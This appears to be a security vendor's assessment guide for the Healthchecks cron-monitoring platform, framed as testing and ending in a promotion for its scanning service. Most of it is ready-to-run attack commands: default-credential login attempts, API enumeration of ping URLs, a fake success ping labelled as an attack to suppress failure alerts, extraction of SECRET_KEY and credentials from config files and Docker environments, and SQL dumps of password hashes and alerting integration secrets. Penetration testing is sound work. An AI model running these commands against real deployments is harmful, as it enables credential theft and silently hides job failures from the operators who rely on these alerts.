Healthchecks is a widely deployed open-source cron job and background task monitoring platform (Dead Man's Snitch/PagerDuty alternative) — it monitors whether scheduled jobs run on time and alerts when they are late or fail. Key assessment areas: SECRET_KEY is the Django session signing key; PING tokens are globally unique URLs that cron jobs POST to on success — knowledge of a ping token enables fake check-ins that suppress legitimate failure alerts; the management API exposes all checks, schedules, and notification integrations; and PostgreSQL stores complete monitoring history. Healthchecks compromise enables alert suppression for arbitrary monitored jobs and extraction of all integrated alerting platform credentials. This guide covers systematic Healthchecks security assessment.
# Healthchecks — authentication and API key testing
HC_URL="https://healthchecks.example.com"
# Healthchecks supports email/password login
# Test common default credentials
for CRED in "admin@example.com:admin" "admin@healthchecks.io:password" "test@example.com:healthchecks"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
# Get CSRF token first
CSRF=$(curl -s -c /tmp/hc_cookies.txt "${HC_URL}/accounts/login/" 2>/dev/null | \
grep -o 'csrfmiddlewaretoken.*value="[^"]*"' | grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
AUTH=$(curl -s -b /tmp/hc_cookies.txt -c /tmp/hc_cookies.txt \
-X POST "${HC_URL}/accounts/login/" \
-d "csrfmiddlewaretoken=${CSRF}&email=${EMAIL}&password=${PASS}" \
-D /tmp/hc_headers.txt 2>/dev/null)
LOC=$(grep -i "location:" /tmp/hc_headers.txt | tr -d '\r')
echo "${EMAIL}/${PASS}: redirect=${LOC}"
done
# Test API key (project API key from account settings)
API_KEY="your-healthchecks-api-key"
curl -s "${HC_URL}/api/v3/checks/" \
-H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
checks = d.get('checks',[])
print(f'Checks: {len(checks)}')
for c in checks[:5]:
print(f' [{c.get(\"unique_key\",\"\")[:16]}...] {c.get(\"name\")} status={c.get(\"status\")} last_ping={c.get(\"last_ping\",\"\")[:19]}')
" 2>/dev/null
# Healthchecks API — check enumeration and alert suppression testing
HC_URL="https://healthchecks.example.com"
API_KEY="your-healthchecks-api-key"
# Get all checks with full details
curl -s "${HC_URL}/api/v3/checks/" \
-H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
checks = d.get('checks',[])
print(f'Monitored checks: {len(checks)}')
for c in checks[:15]:
print(f' Name: {c.get(\"name\")}')
print(f' Status: {c.get(\"status\")} Schedule: {c.get(\"schedule\",\"\")} Grace: {c.get(\"grace\")}s')
print(f' Ping URL: {c.get(\"ping_url\",\"\")}') # THE CRITICAL FIND
print(f' Last ping: {c.get(\"last_ping\",\"\")[:19]} Next: {c.get(\"next_ping\",\"\")[:19]}')
print(f' Tags: {c.get(\"tags\")} Channels: {len(c.get(\"channels\",\"\").split(\",\"))} alert integrations')
" 2>/dev/null
# ATTACK: Send fake success ping to suppress failure alert
# If a cron job FAILS but we send a ping, Healthchecks thinks it succeeded
CHECK_UUID="the-uuid-from-ping-url"
curl -s "${HC_URL}/ping/${CHECK_UUID}" 2>/dev/null
# HTTP 200 OK — Healthchecks now marks check as UP, suppresses any queued alert
# Send /fail to trigger alert (for testing alert delivery or causing alert fatigue)
curl -s "${HC_URL}/ping/${CHECK_UUID}/fail" 2>/dev/null
# Get notification channel integrations
curl -s "${HC_URL}/api/v3/channels/" \
-H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
channels = d.get('channels',[])
print(f'Notification channels: {len(channels)}')
for ch in channels[:10]:
# channels contain Slack webhook URLs, PagerDuty API keys, email addresses, etc.
print(f' [{ch.get(\"id\")}] {ch.get(\"name\")} type={ch.get(\"kind\")} status={ch.get(\"status\")}')
" 2>/dev/null
# Get flip (failure/recovery) history for a specific check
curl -s "${HC_URL}/api/v3/checks/${CHECK_UUID}/flips" \
-H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
flips = d.get('flips',[])
print(f'Flips (status changes): {len(flips)}')
for f in flips[:10]:
print(f' {f.get(\"timestamp\",\"\")[:19]} to_status={f.get(\"up\")}')
" 2>/dev/null
# Healthchecks SECRET_KEY and database credential extraction
# .env or settings file — Healthchecks configuration
cat /app/hc/local_settings.py 2>/dev/null | grep -E "SECRET_KEY|DATABASES|EMAIL|SLACK|PAGERDUTY|WEBHOOKURL"
cat /app/.env 2>/dev/null | grep -E "SECRET_KEY|DB_|SMTP|SLACK|EMAIL|ALLOWED_HOSTS"
# SECRET_KEY — Django session/CSRF signing key
# DATABASES — PostgreSQL connection parameters
# EMAIL_* — SMTP credentials for alert delivery
# SLACK_* — Slack integration credentials
# PAGERDUTY_ENABLED — PagerDuty integration
# Docker environment variables
docker inspect healthchecks 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SECRET_KEY','DB_','SMTP','SLACK','PAGERDUTY','EMAIL','PASSWORD']):
print(e)
" 2>/dev/null
# PostgreSQL — all Healthchecks data
DB_URL="postgresql://hc:PASSWORD@localhost/hc"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All checks with ping URLs
SELECT c.id, c.name, c.status, c.code,
c.schedule, c.tz, c.grace,
c.last_ping, c.alert_after,
u.email as owner
FROM api_check c
JOIN accounts_profile p ON c.project_id = p.current_project_id
JOIN auth_user u ON p.user_id = u.id
ORDER BY c.last_ping DESC
LIMIT 20;
EOF
-- code: the UUID in the ping URL — allows fake pings without API key
-- All users
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT au.id, au.email, au.username,
au.is_superuser, au.is_staff,
au.date_joined, au.last_login,
au.password as password_hash
FROM auth_user au
ORDER BY au.is_superuser DESC
LIMIT 10;
EOF
-- All notification channels with integration credentials
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT c.id, c.name, c.kind, c.value,
c.error, c.last_notify
FROM api_channel c
ORDER BY c.last_notify DESC
LIMIT 20;
EOF
-- value JSON: contains Slack webhook URLs, PagerDuty API keys, email addresses,
-- Telegram bot tokens, Discord webhook URLs, Opsgenie API keys
| Security Test | Method | Risk |
|---|---|---|
| PING token fake success check-in to suppress failure alerts | GET/POST hc.example.com/ping/{uuid} — anyone with the ping URL can fake successful check-ins; suppresses alerts for failed backups, security scans, or compliance checks; the uuid is exposed in API responses and potentially in cron job scripts | Critical |
| SECRET_KEY extraction and Django session forgery | Read local_settings.py/SECRET_KEY — Django signing key; forge session cookies for any user including superusers; full admin access to all checks and Django admin panel | Critical |
| Notification channel credential extraction | GET /api/v3/channels/ or SELECT value FROM api_channel — Slack webhooks, PagerDuty API keys, Telegram bot tokens, OpsGenie API keys stored as JSON; secondary compromise of all alerting infrastructure | High |
| Check schedule and infrastructure enumeration | GET /api/v3/checks/ — all monitored cron jobs with names, schedules, and last ping times; reveals complete background job infrastructure and operational patterns | Medium |
| PostgreSQL auth_user password hash extraction | SELECT password FROM auth_user — Django PBKDF2 password hashes; offline cracking reveals admin credentials for both Healthchecks and potentially other services with password reuse | Medium |
Ironimo tests Healthchecks deployments for PING token fake check-in to suppress failure alerts, SECRET_KEY Django session forgery, notification channel credential extraction (Slack/PagerDuty/Telegram/OpsGenie), API check schedule and infrastructure enumeration, PostgreSQL auth_user password hash extraction, Django admin superuser access testing, REGISTRATION_OPEN status check, Docker environment variable SECRET_KEY exposure, IP origin monitoring for fake ping detection, and cron job infrastructure mapping.
Start free scan